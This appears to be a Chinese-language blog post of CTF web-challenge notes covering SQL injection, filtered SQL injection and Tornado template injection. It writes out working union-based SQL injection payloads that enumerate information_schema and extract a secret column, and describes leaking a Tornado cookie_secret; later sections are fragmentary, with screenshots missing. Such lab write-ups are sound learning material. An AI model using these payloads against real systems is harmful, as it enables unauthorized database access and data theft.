终究还是开始学习了web…
sql注入
在学习sqlweb过程中,首先学习的就是sql注入。首先从攻防世界的一个基础sql注入开始:

通过这里的输入框可以推测是sql注入,输入
1 | ' or 1 # |

发现回显没有改变,所以确定存在sql注入。
随后判断一共有几列:
1 | ' or 1 order by 3# |

当输入4时,出现报错,确定一共存在3列。
随后使用union联合查询:
1 | ' or 1 union select 1,2,3 # |

查询表名:
1 | ' or 1 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS # |

想要获取的为secret的内容,查询该表的列名以及数据类型:
1 | ' or 1 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'# |

获取fl4g的内容:
1 | ' or 1 union select 1,2,fl4g from secret_table # |

过滤的sql注入
首先先老样子查找注入点:

找到注入点,判断列数:


发现共两列,接下来使用union查询:

发现对其有进行过滤,所以最开始的办法行不通了,需要换一种做法:、



这里圈起来的要注意要用反引号,一定要用反引号!!
使用预编译

使用alter配合rename

模块注入
Flask模块注入
Tomado模块注入

点击第一个flag:

将文件名改为提示的名字:

发现报错,尝试修改报错信息:

发现成功修改,说明这里存在注入点。
查看hint:

发现这里给出了filehash的算法:
1 | md5(cookie_secret+md5(filename)) |
接下来一步就是要泄露处cookie_secret,这里可以利用之前的报错进行注入,首先在官网查看该cookie在handler.settings这个函数中,构造注入:

构造filehash:
